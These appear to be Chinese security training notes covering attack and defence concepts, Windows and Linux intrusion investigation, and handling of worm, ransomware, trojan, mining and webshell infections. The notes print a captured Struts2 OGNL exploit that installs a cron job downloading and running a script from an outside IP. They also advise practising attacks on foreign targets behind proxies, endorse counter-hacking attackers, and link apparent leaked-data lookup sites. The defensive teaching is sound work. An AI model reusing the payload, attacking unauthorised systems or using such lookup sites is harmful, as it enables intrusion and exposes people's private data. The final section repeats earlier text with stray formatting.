本周重点
①网络安全攻防技术体系
②Windows入侵排查
③Linux入侵排查
④僵蠕木毒排查与处理
本周主要内容
①网络安全攻防技术体系
一、攻击层面
1、分类
(1)指定目标:APT攻击手段,对指定目标进行长期作战和渗透,窃取资料、商业间谍、国家与政府、调查取证、战争等:进内网,甚至不全是技术手段,通常也会以开放系统作为切入点。
(2)无目标:挖矿、勒索、傀儡机,勒索病毒通常针对服务器环境和内网环境(通过漏洞进入、通过鱼叉攻击)
(3)授权目标:自有系统、客户系统、SRC(白帽子),渗透测试、安全测试、安全加固、白盒测试、代码审计等
常用的攻击步骤和防御方案:
(0)信息采集
(1)已知CVE漏洞攻击利用:打补丁
(2)旁站攻击:保持跟主站同等配置,如果不重要的旁站,正常关闭
(3)技术类攻击(Web攻击、代码审计、各种协议攻击、系统攻击、MSF、各种绕过试探):WAF/IPS
(4)花钱购买0Day或NDay:入侵检测、应急响应
(5)非技术类攻击:制度、监控、内审、等保
2、实战
(1)培训期间的各种项目
(2)SRC和众测平台、开源产品
(3)大陆之外的区域(利用IP代理做好隐藏)
3、技术与工具
(1)信息采集:扫描工具、社交平台、各类公开信息发布渠道、CDN网络的原IP如何查找:干掉CDN走原始IP、https://www.shodan.io/ 、微步在线中查找历史DNS解析记录、Nginx+反向代理 也存在类似情况, fofa.info,钟馗之眼等,搜索引擎、边缘资产
(2)入侵工具:MSF、Goby、Netsparker、专项工具等、Kali内置工具库,漏扫工具,绕过防护设施
(3)内网渗透:MSF、CobaltStrike、域渗透神器Empire、Powershell:Nishang ….
(4)木马免杀:木马免杀的问题:Python+ShellCode+代码混淆(ShellCode加密变形猥琐的处理方式+加载器代码加密和变形)
(5)渗透测试、漏洞挖掘、安全测试、漏扫工具。对于已知的CVE漏洞的利用,是比较高效的。
4、方法论
(1)OWASP Top 10
(2)逻辑漏洞
(3)已知CVE漏洞+工具
(4)持续跟踪
(5)日常运营+特定项目
二、防御层面
1、分类
(1)网络通信:防火墙、下一代防火墙、NIDS、WAF、IPS、数据库审计、上网行为管理等
(2)操作系统:HIDS、日志审计、系统内置防火墙指令、杀毒软件、X狗、X盾、云环境防护设施、安全配置项、系统补丁
(3)应用服务器:WAF、安全配置项、补丁、漏洞利用规则更新、Mod_Security、VeryNginx、邮件安全网关
(4)代码层:第三方库的形式、开发框架内置的代码规范、程序员的安全开发标准、代码审计、代码静态扫描
(5)硬件和软件:网闸、堡垒机、蜜罐、漏扫、态势感知、威胁情报、APT检测、数据库审记………
2、入侵检测
(1)流量检测:网络协议、Suricata等、加密流量、更多关注流量的静态特征
(2)主机检测:更多关注在静态特征、文件特征、指纹特征等,比较容易被绕过检测
(3)行为检测:即使静态特征无法匹配,如果出现恶意行为,一样会被检测和触发,沙箱环境运行
无论静态还是动态,基于大数据+机器学习的检测是目前必然的发展结果(否则,很多0Day无法检出)
3、安全加固
(1)安全基线检查
收集各类资产和网络架构、网络安全设备配置、防火墙或AC等安全策略、Windows和Linux操作系统脆弱项、中间件服务器安全配置、代码审计、各类IDS规则库更新、补丁更新、已知漏洞的扫描和检查
(2)安全自测(渗透测试)
(3)安全加固
(4)加固后进行验证
4、入侵排查
1、明显的攻击特征
挖矿病毒、勒索病毒、网页篡改、WebShell等,相对比较容易发现特征,预警通常也比较及时
2、未知攻击或合法软件的非法行为
远控免杀木马、正常软件携带的木马程序、流氓软件。浏览数据、输入数据、系统信息数据、用户体验改善计划、移动端各种权限索取
持续监控、关注其行为、存在很多数据是加密的,无法知悉完整数据,封USB接口、禁止安装未审批的软件、禁止上外网、手机上交
5、应急响应
事前、事中、事后 三个主要阶段
6、取证溯源
在攻防的视角里,进攻方会占据比较多的主动性,而防守方则略显被动,因为作为防守方,你永远也不知道攻击会在什么时候发生。你所能做的是,做好自己该做的一切,准备好自己该准备的一切,耐心等待对手犯错的机会。
在发现有入侵者后,快速由守转攻,进行精准地溯源反制,收集攻击路径和攻击者身份信息,勾勒出完整的攻击者画像。
(1)攻击源捕获
安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
日志与流量分析,异常的通讯流量、攻击源与攻击目标等
服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
邮件钓鱼,获取恶意文件样本、钓鱼网站URL等
蜜罐系统,获取攻击者行为、意图的相关信息
(2)溯源反制手段
IP定位技术
根据IP定位物理地址—代理IP
溯源案例:通过IP端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息
ID追踪术
ID追踪术,搜索引擎、社交平台、技术论坛、社工库匹配
溯源案例:利用ID从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息
网站url
域名Whois查询—注册人姓名、地址、电话和邮箱。—域名隐私保护
溯源案例:通过攻击IP历史解析记录/域名,对域名注册信息进行溯源分析
恶意样本
提取样本特征、用户名、ID、邮箱、C2服务器等信息—同源分析
溯源案例:样本分析过程中,发现攻击者的个人ID和QQ,成功定位到攻击者。
社交账号
基于JSONP跨域,获取攻击者的主机信息、浏览器信息、真实 IP及社交信息等
利用条件:可以找到相关社交网站的jsonp接口泄露敏感信息,相关网站登录未注销
(3)攻击者画像
攻击路径
攻击目的:拿到权限、窃取数据、获取利益、DDOS等
网络代理:代理IP、跳板机、C2服务器等
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
攻击者身份画像
虚拟身份:ID、昵称、网名
真实身份:姓名、物理位置
联系方式:手机号、qq/微信、邮箱
组织情况:单位名称、职位信息
7、安全攻击溯源案例
案例一:邮件钓鱼攻击溯源
攻防场景:攻击者利用社会工程学技巧伪造正常邮件内容,绕过邮件网关的查杀,成功投递到目标邮箱,诱骗用户点击邮件链接或下载附件文件。
信息收集: 通过查看邮件原文,获取发送方IP地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息。
溯源方式:第一种,可以通过相关联的域名/IP进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。
案例二:Web入侵溯源
攻防场景:攻击者通过NDAY和0DAY漏洞渗入服务器网段,Webshell 触发安全预警或者威胁检测阻断了C&C域名的通讯。
溯源方式:隔离webshell样本,使用Web日志还原攻击路径,找到安全漏洞位置进行漏洞修复,从日志可以找到攻击者的IP地址,但攻击者一般都会使用代理服务器或匿名网络(例如Tor)来掩盖其真实的IP地址。
在入侵过程中,使用反弹shell、远程下载恶意文件、端口远程转发等方式,也容易触发威胁阻断,而这个域名/IP,提供一个反向信息收集和渗透测试的路径。
案例三:蜜罐溯源
攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击。
溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。
https://zy.xywlapi.cc/ https://sgk66.cc/ https://privacy.aiuys.com/
②Windows入侵排查
一、系统账号
-
排查弱口令,可以访谈相关人员询问是否设置弱口令。
-
排查可疑账号、隐藏账号。
打开 cmd 窗口,输入lusrmgr.msc命令,打开“本地用户和组”。
-
点击“用户”,查看是否有未知的新增的用户、隐藏用户,如有,请立即禁用或删除掉。
-
查看管理员群组(Administrators)里的是否有未知的新增账户,如有,请立即禁用或删除掉。
-
-
排查克隆账号。
-
访问HKEY_LOCAL_MACHINE\SAM ,第一次访问没有权限无法看到SAM下面的内容,需要为Administrator设置完全控制的权限,而后重新打开注册表,即可成功查看。
-
访问HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names,即可查看所有用户。
-
二、异常端口与进程
-
查看有无异常端口连接
-
使用 netstat 查看异常连接,并查找到pid。
#使用netstat命令查看本机各端口的网络连接情况 #常用参数: -a 显示所有连接和监听端口 -n 以数字形式显示地址和端口号 -o 显示与每个连接相关的所属进程 ID -p proto 显示 proto 指定的协议的连接,TCP 、UDP等
如果发现异常,也可以根据PID进行跟踪,找到对应的进程和对应的执行文件。
-
查看有无主机连接该主机重要的端口,例如 22,3389等。
-
查看连接中的异常 IP 地址,使用微步在线等在线危险情报平台进行检索。
-
-
通过使用 tasklist 查找指定进程号的进程。
-
-
检查异常进程
-
打开“任务管理器”,查看资源(CPU、内存、磁盘等)使用率较高的进程。
-
使用 “win + r” -> 运行-> 输入 msinfo32 ,打开系统信息,点击“软件环境→正在运行任务”,查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等。
-
使用火绒剑查看异常进程或启动项
-
三、启动项与计划任务
-
启动项
-
使用 win + r ,打开运行,输入 msconfig,打开系统配置,查看是否存在命名异常的启动项目,若存在则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。(新版本直接在任务管理器中查看)
-
查看注册表,查看以下三个对应项。
-
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
-
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
-
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
-
-
-
计划任务
-
打开“控制面板->管理工具->任务计划程序”,查看有无异常计划任务。
-
-
服务自启动
-
win + r ,输入 services.msc,打开服务管理,查看服务启动情况。
-
注意Windows中可以自定义服务,参考链接:https://blog.csdn.net/a15608445683/article/details/129387732
四、日志分析
-
主要日志
- %SystemRoot%\System32\Winevt\Logs\System.evtx ,系统日志
- %SystemRoot%\System32\Winevt\Logs\Security.evtx ,安全日志
- %SystemRoot%\System32\Winevt\Logs\Application.evtx ,应用程序日志
-
查看日志
-
常见事件ID。
4624 登录成功 4625 登录失败 4647 用户注销 4720 创建用户 4672 使用超级用户(管理员)登录 4634 注销成功 7030 服务创建错误 7040 IPSEC服务的启动类型已从禁用改为自动启动 7045 服务创建
-
使用 “win + r” 打开运行,输入 eventvwr.msc 直接打开“事件查看器”。
-
结合Windows安全日志,查看管理员登录时间、用户名是否存在异常。
-
根据大量登录失败事件判断出某账号被进行暴力破解。
-
-
五、文件分析
-
查看有无新建的用户文件夹
Window 2003 C:\Documents and Settings Window 2007及以后 C:\Users\
-
“win + r”>【运行】,输入%UserProfile%\Recent,分析最近打开分析可疑文件。
-
根据实际情况排查主机上重要的目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。
-
查看回收站、浏览器下载目录、浏览器历史记录。
-
查看修改时间在创建时间之前的为可疑文件。
-
发现一个WEBSHELL或远控木马的创建时间,可以利用计算机自带文件搜索功能,指定修改时间进行搜索。
六、自动化查杀
- 病毒查杀
- 下载安全软件,更新最新病毒库,进行全盘扫描。
- 使用微步在线云沙箱进行查杀
- https://s.threatbook.com/ 也可以申请API接口进行对接,整合进自已的系统中。
③Linux入侵排查
一、账号安全
-
查看用户信息文件,检查有无UID为0的用户、有无新增的未知用户
cat /etc/passwd | grep /bin/bash #查看可登录用户 awk -F: '$3==0{print $1}' /etc/passwd #查看UID=0的用户 more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" #查看sudo权限的用户
-
查看当前登录用户及登录时长
# who 命令,查看当前登录系统的所有用户(tty 本地登陆 pts 远程登录) # uptime 命令,查看登陆多久、多少用户,负载状态 # w 命令,显示已经登录系统的所用用户,以及正在执行的指令 [root@192 ~]# w 06:48:14 up 8:03, 6 users, load average: 0.00, 0.02, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty1 04:17 1:30m 2.28s 2.28s -bash root pts/0 192.168.219.1 04:27 2:14m 0.07s 0.00s vi test.py root pts/1 192.168.219.1 05:01 1:38m 0.09s 0.09s -bash
-
排查用户登录信息
-
查看最近登录成功的用户及信息
[root@localhost ~]# last root pts/0 192.168.219.1 Tue Feb 15 21:06 still logged in root pts/1 192.168.219.1 Tue Feb 15 18:30 - 19:49 (01:18) root pts/0 192.168.219.1 Tue Feb 15 15:00 - 17:32 (02:31) root tty1 Tue Feb 15 14:41 still logged in reboot system boot 3.10.0-1160.el7. Tue Feb 15 14:00 - 21:06 (07:06) wtmp begins Tue Feb 15 14:00:13 2022 # 显示logged in表示用户还在登录 # pts表示从SSH远程登录 # tty表示从控制台登录,就是在服务器旁边登录
-
查看最近登录失败的用户及信息
[root@localhost ~]# lastb root ssh:notty 192.168.219.1 Tue Feb 15 21:13 - 21:13 (00:00) root ssh:notty 192.168.219.1 Tue Feb 15 21:13 - 21:13 (00:00) root ssh:notty 192.168.219.1 Tue Feb 15 21:13 - 21:13 (00:00) root ssh:notty 192.168.219.1 Tue Feb 15 21:13 - 21:13 (00:00) root tty1 Tue Feb 15 14:41 - 14:41 (00:00) btmp begins Tue Feb 15 14:41:47 2022 # ssh表示从SSH远程登录 # tty表示从控制台登录
-
显示所有用户最近一次登录信息
[root@localhost ~]# lastlog Username Port From Latest root pts/2 192.168.219.1 Wed Dec 8 05:17:57 -0500 2021 bin **Never logged in** daemon **Never logged in** ...... ...... ...... ...... postfix **Never logged in** chrony **Never logged in** mysql **Never logged in** zhang pts/1 Fri Nov 19 13:07:34 -0500 2021
-
-
查看 sudo 用户列表,除root帐号外,其他帐号是否存在sudo权限
# 查询sudoers文件中能从任意主机以任意身份执行命令的用户 more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
二、异常端口与进程
-
查看端口连接情况,分析可疑端口、IP、PID等信息
netstat -antlp | more
-
Local Address(本地地址)
查看有无重要端口被连接,如 22,3306等。
-
Foreign Address(外部地址)
查看有无非常用IP或可疑IP连接。
IP可以使用在线危险情报平台检索,如微步在线。
-
PID/Program name(PID/程序名称)
查看是否有可疑程序,如上面的截图中的bash,可能为bash执行反弹shell。
注:若发现有异常连接需要持续观察,可以进行抓包获取流量,而后使用相关工具分析。
# 将ens33网卡上目的端口为tcp 80端口的流量保存到target.pcap文件中 tcpdump tcp and dst port 80 -i ens33 -w ./target.pcap
-
-
检查可疑进程
-
使用 ps 列出系统中当前运行的那些进程,分析异常的进程名、PID,可疑的命令行等。
[root@192 ~]# ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 2 0.0 0.0 0 0 ? S Dec07 0:00 [kthreadd] ..... root 7263 0.0 0.1 115548 1932 pts/3 S+ 06:35 0:00 bash -i root 7267 0.0 0.1 155452 1864 pts/4 R+ 06:35 0:00 ps aux
此处PID为7263的进程所执行的 “ bash -i ”是十分可疑的,极有可能为反弹shell执行的命令。 我们可以使用“ kill -9 7263” 强制结束进程。
-
通过top命令显示系统中各个进程的资源占用状况,如发现资源占用过高的进程可以进一步排查。
-
进程排查分析
#查看该进程启动的环境变量与命令行等信息: ps eho command -p $PID #查看该进程启动时候所在的目录: readlink /proc/$PID/cwd #查看下pid所对应的进程文件路径: ls -l /proc/$PID/exe
-
三、系统服务
-
查看自启服务
# centos7 查看自启服务 systemctl list-unit-files --type=service | grep "enabled" # centos6 查看自启服务 chkconfig --list chkconfig --list | grep "3:on\|5:on"
四、开机启动项
-
开机启动配置文件
- /etc/rc.local ,是/etc/rc.d/rc.local的软连接,用于添加开机启动命令。
- /etc/rc.d/rc[0~6].d , 各个启动级别的执行程序连接目录,系统的标准的运行级为3(完全多用户模式)。
-
排查入侵项
# 查看rc.local中有无异常的开机启动命令 more /etc/rc.local # 查看 /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/ # 查看运行级别为3的执行程序连接目录下有无异常脚本
五、定时任务
-
cron相关文件
- /etc/crontab ,配置文件,配置 cron 任务运行环境变量等。
- /var/spool/cron/ ,存放着每个用户的crontab任务,每个任务以创建者的名字命名。
- /etc/cron.d/ ,此目录下存放的是系统级任务的任务文件。
- /etc/anacrontab ,这个文件存着系统级的任务。它主要用来运行每日的(daily),每周的(weekly),每月的(monthly)的任务。一般不在此文件安装自己的任务。
- /etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/等目录存放要在指定时间周期执行的脚本。
-
定时任务排查
# 查看当前用户的cron任务 crontab -l # crontab任务编辑 crontab -e # 删除当前用户的定时任务 crontab -r # 查看以下目录中是否存在恶意脚本 /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/ /var/spool/anacron/*
六、异常文件
-
查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“.”为开头的文件目录
-
若能得知远控木马的创建时间的范围,可根据时间查找文件
# 查找最近一天以内修改的文件: find / -mtime -1 -ls | more # 常用参数 -amin n : 在过去 n 分钟内被读取过 -atime n : 在过去 n 天内被读取过的文件
-
.ssh目录下的公钥文件
-
具备u+s权限的可执行程序
七、历史命令
-
查询某个用户在系统上的历史命令
-
使用root用户登录系统,检查/home目录下该用户主目录的 .bash_history 文件
[root@192 zhang]# cat .bash_history
-
八、系统日志
-
secure安全日志(var/log/secure)
检查系统错误登陆日志,统计IP重试次数,成功登录的时间、用户名和ip,确认账号是否存在暴力破解或异常登录的情况。
-
查看有多少IP可能在爆破主机的root帐号。
# 统计多少IP登录失败及失败次数 grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
-
登录成功的IP。
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
-
登录成功的日期、用户名、IP。
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
-
④僵蠕木毒排查与处理
一、计算机病毒简介
-
定义
指编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机正常使用并且能够自我复制的一组计算机指令或程序代码。
-
常见种类
- 蠕虫病毒:一种可以自我复制的代码,并且通过网络传播,通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后,就会把这台机器作为宿主,进而扫描并感染其他计算机。
- 勒索病毒:一种新型电脑病毒,主要以邮件、程序木马、网页挂马的形式进行传播。该病毒性质恶劣、危害极大,一旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。
- 木马病毒:木马一般指木马病毒。木马病毒其实是计算机黑客用于远程控制计算机的程序,将控制程序寄生于被控制的计算机系统中,里应外合,对被感染木马病毒的计算机实施操作。
- 挖矿病毒:随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一。病毒传播者可以利用个人电脑或服务器的资源进行挖矿,造成服务器CPU使用率过高。
-
常见病毒防御工具
-
病毒分析
-
PCHunter:http://www.xuetr.com
-
火绒剑:https://www.huorong.cn
-
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
-
-
病毒查杀
- 卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
- 火绒安全软件:https://www.huorong.cn
- linux病毒查杀工具ClamAv:https://www.clamav.net/
-
病毒动态
- CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
- 微步在线威胁情报社区:https://x.threatbook.cn
- 火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
-
在线病毒扫描网站
- 腾讯哈勃分析系统:http://www.virscan.org
- 针对计算机病毒、手机病毒、可疑文件等进行检测分析:http://www.scanvir.com
-
webshell查杀
- D盾_Web查杀:http://www.d99net.net/index.asp
- 河马webshell查杀:http://www.shellpub.com
- 深信服Webshell网站后门检测工具:http://edr.sangfor.com.cn/backdoor_detection.html
-
二、蠕虫病毒排查
-
蠕虫病毒的代表
熊猫烧香病毒 、冲击波/震荡波病毒、conficker病毒等。
-
常见特征
- 硬盘的可用空间变少,当蠕虫重复复制自己时,它们开始使用计算机上的可用空间。
- 量内存和带宽被占用,计算机响应速度下降,蠕虫病毒在大量复制和运行中会占用大量的电脑资源。
- 一些蠕虫病毒主要以破坏系统为目的,会导致系统文件缺失、功能缺失、服务禁用等,甚至会导致系统崩溃、蓝屏等故障。
- 一些蠕虫病毒会主动向外网发起大量请求连接。
-
排查处理
此处使用一次 conficker 病毒的排查与处理过程进行演示。
-
场景:管理员在出口防火墙发现内网服务器不断向境外IP发起主动连接。
-
排查过程:
-
在出口防火墙看到的服务器内网IP,首先将中病毒的主机从内网断开。
-
登录该服务器,打开D盾_web查杀查看端口连接情况,可以发现本地与大量外网IP的445端口有连接。
-
跟踪进程ID为1040 的进程。
-
推测Windows服务主进程被病毒感染,使用卡巴斯基病毒查杀工具全盘查杀,发现 c:\windows\system32\qntofmhz.dll异常。
-
使用多引擎在线病毒扫描(http://www.virscan.org/) 对该文件进行扫描。
-
确认服务器感染conficker蠕虫病毒,下载conficker蠕虫专杀工具对服务器进行查杀。
-
-
三、勒索病毒排查
-
勒索病毒的代表
WannaCry、NotPetya、sage、Phobos、Crysis、Satan、GlobeImposter等
-
常见特征
- 电脑桌面被篡改:桌面通常会出现新的文本文件或网页文件,这些文件用来说明如何解密的信息,同时桌面上显示勒索提示信息及解密联系方式,通常提示信息英文较多,中文提示信息较少。
- 文件后缀被篡改:办公文档、照片、视频等文件的图标变为不可打开形式,或者文件后缀名被篡改。一般来说,文件后缀名会被改成勒索病毒家族的名称或其家族代表标志,如:GlobeImposter家族的后缀为.dream、.TRUE、.CHAK等;Satan家族的后缀.satan、sicck;Crysis家族的后缀有.ARROW、.arena等。
-
处理措施
绝大多数勒索病毒,是无法解密的,一旦被加密,即使支付也不一定能够获得解密密钥。在平时运维中应积极做好备份工作,数据库与源码分离(类似OA系统附件资源也很重要,也要备份)。可以尝试使用解密工具进行解密。
-
勒索病毒搜索引擎:在勒索病毒搜索引擎输入病毒名、勒索邮箱、被加密后文件的后缀名,或直接上传被加密文件、勒索提示信息,即可快速查找到病毒详情和解密工具。
-
【360】 勒索病毒搜索引擎:http://lesuobingdu.360.cn
-
【奇安信】勒索病毒搜索引擎:https://lesuobingdu.qianxin.com
-
【深信服】勒索病毒搜索引擎: https://edr.sangfor.com.cn/#/information/ransom_search
-
-
勒索软件解密工具集:很多安全公司都提供了免费的勒索病毒解密工具下载,收集和整理相关下载地址,可以帮助我们了解和获取最新的勒索病毒解密工具。
- 【腾讯哈勃】勒索软件专杀工具:https://habo.qq.com/tool/index
- 【火绒】安全工具:http://bbs.huorong.cn/forum-55-1.html
- 【瑞星】解密工具:http://it.rising.com.cn/fanglesuo/index.html
- 【卡巴斯基】免费勒索解密器:https://noransom.kaspersky.com/
- 【Github项目】勒索病毒解密工具收集汇总:https://github.com/jiansiting/Decryption-Tools
-
四、木马病毒排查
-
木马病毒的代表
冰河、灰鸽子、蜜蜂大盗、PassCopy、暗黑蜘蛛侠等。
-
排查思路
- 查看系统中的进程中有无异常进程。
- 名称前缀:有些木马程序使用一些固定的前缀名,如Trojan。
- 木马侵入系统后,服务器数据交换比较频繁,查看网络连接 netstat 是否属于正常的网络数据连接,从IP和端口排查。
- 检测定时任务和启动项。
- 查看系统中的进程中有无异常进程。
-
排查处理
此处使用一次 Linux 盖茨木马的排查与处理过程进行演示。Linux盖茨木马是一类有着丰富历史,隐藏手法巧妙,网络攻击行为显著的DDoS木马,主要恶意特点是具备了后门程序,DDoS攻击的能力,并且会替换常用的系统文件进行伪装。
-
场景:网站管理员发现服务器CPU资源异常,几个异常进程占用大量网络带宽。
-
排查过程:
-
使用 top 查看系统中进程状态。
-
使用 netsta 查看异常网络连接。
-
使用 ps 查看异常进程。
-
进入异常进程的启动命令中的目录路径,进入该目录发现多个系统命令,猜测命令可能已被替换。
-
排查异常启动项,在 init.d 目录发现异常脚本 DbSecuritySpt与selinux。
-
再进入rc3.d目录可以发现多个异常脚本。
-
-
清除木马
-
简单判断有无木马。
cat /etc/rc.d/init.d/selinux cat /etc/rc.d/init.d/DbSecuritySpt ls /usr/bin/bsd-port ls /usr/bin/dpkgd
-
查看系统命令大小是否正常。
ls -lh /bin/netstat ls -lh /bin/ps ls -lh /usr/sbin/lsof ls -lh /usr/sbin/ss
-
删除病毒目录及文件。
rm -rf /usr/bin/dpkgd # 用于替换系统命令的程序 rm -rf /usr/bin/bsd-port # 木马程序 rm -f /usr/bin/.sshd # 木马后门 rm -f /etc/rc.d/init.d/DbSecuritySpt # 启动上述描述的那些木马变种程序 rm -f /etc/rc.d/rc[1-5].d/S97DbSecuritySpt rm -f /etc/rc.d/init.d/selinux # 默认是启动/usr/bin/bsd-port/getty rm -f /etc/rc.d/rc[1-5].d/S99selinux
-
使用 kill 杀死异常进程。
-
-
删除含木马的命令并重新安装。
-
挂载rpm包。
mkdir /mnt/chrom/ # 建立挂载点 mount -t iso9660 /dev/cdrom /mnt/cdrom/ # 挂载光盘 mount /dev/sr0 /mnt/cdrom/ # 挂载光驱
-
查看 ps 属于哪个软件包。
-
使用 rpm2cpio 命令提取 rpm 包中 ps 命令到当前目录的 /bin/ps 下。
-
把 ps 命令复制到 /bin/ 目录下替换含病毒的 ps 命令。
-
-
五、挖矿病毒排查
-
挖矿病毒的代表
DTStealer、WannaMine、隐匿者(MyKings)、匿影挖矿、紫狐等。
-
常见特征
- 电脑CPU占用率高,C盘可使用空间骤降等问题。
- 大量对外进行网络连接。
- 添加定时任务执行挖矿脚本。
-
排查处理
此处使用一次 Linux 挖矿病毒的排查与处理过程进行演示。
-
场景:某台网站服务器持续向境外IP发起连接,下载病毒源。
-
排查过程:
-
使用 netstat 查看网络连接,发现不规则命名的异常进程。
-
使用 ps 查看系统进程状态,发现异常下载进程。
-
下载logo.jpg,发现其为挖矿的 shell 脚本。
-
排查系统开机启动项、定时任务、服务等,在定时任务里面,发现了定时下载执行恶意脚本的任务。
-
溯源分析,查看系统日志、中间件日志等日志,使用 grep 命令搜索日志上述下载恶意脚本的IP,在Tomcat log日志中,找到一条记录。
{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh\n*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)).(#process=#p.start()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
由上可知,黑客通过Struct 远程命令执行漏洞向服务器定时任务中写入下载并执行恶意脚本的任务。
-
-
清除病毒,修复漏洞:
-
删除定时任务。
-
终止异常进程。
-
漏洞修复,升级struts到最新版本。
-
-
六、Webshell网站(页)木马排查
-
简介
Webshell一般被网站管理员用于服务器和网站的日常管理中,它对web服务器有进行操作的权限。但当Webshell被黑客利用的时候,相当于一种黑客植入的木马,可以帮助黑客对网站代码进行修改、上传、下载等,Webshell一般用cer、aspx、asp、php、jsp、asa、war等语言的脚本执行文件命名,也称为网站后门,黑客入侵网站后会把Websheel木马后门文件上传到网站的根目录下以及服务器上,或者通过在本地相关工具中插入代码,通过访问特定的网址访问网站木马,从而控制网站、篡改数据。
-
排查思路
-
查找危险命令、危险函数等。
# php文件 find 网站目录/* -type f -name "*.php" |xargs grep "eval" find 网站目录/* -type f -name "*.php” |xargs grep "base64_decode" find 网站目录/* -type f -name "*.php" |xargs grep "@$" # jsp文件 find 网站目录/* -type f -name "*.jsp" |xargs grep "getRuntime" find 网站目录/* -type f -name "*.jsp" |xargs grep "exec" find 网站目录/* -type f -name "*.jsp" |xargs grep "AES" # asp文件 find 网站目录/* -type f -name "*.asp" |xargs grep "execute" find 网站目录/* -type f -name "*.asp" |xargs grep "eval" find 网站目录/* -type f -name "*.asp" |xargs grep "ExecuteGlobal"
-
查找异常端口进程情况
netstat -anltp|grep bash # bash程序通常用于本地交互,若与远程地址建立连接,就十分可疑。
-
使用webshell查杀工具
-
D_盾
-
河马webshell查杀,可在线查杀。
-
-
# php文件
find 网站目录/* -type f -name "*.php" |xargs grep "eval"
find 网站目录/* -type f -name "*.php” |xargs grep "base64_decode"
find 网站目录/* -type f -name "*.php" |xargs grep "@$"
# jsp文件
find 网站目录/* -type f -name "*.jsp" |xargs grep "getRuntime"
find 网站目录/* -type f -name "*.jsp" |xargs grep "exec"
find 网站目录/* -type f -name "*.jsp" |xargs grep "AES"
# asp文件
find 网站目录/* -type f -name "*.asp" |xargs grep "execute"
find 网站目录/* -type f -name "*.asp" |xargs grep "eval"
find 网站目录/* -type f -name "*.asp" |xargs grep "ExecuteGlobal"
```
- 查找异常端口进程情况
```
netstat -anltp|grep bash
# bash程序通常用于本地交互,若与远程地址建立连接,就十分可疑。
```
- 使用webshell查杀工具
- D_盾
[外链图片转存中...(img-RGTPdYf2-1717396092798)]
- 河马webshell查杀,可在线查杀。
[外链图片转存中...(img-venQurC5-1717396092798)]
- 查看web访问日志,通过上述步骤得到的关键字(异常连接IP、危险函数、文件名等)进行过滤搜索。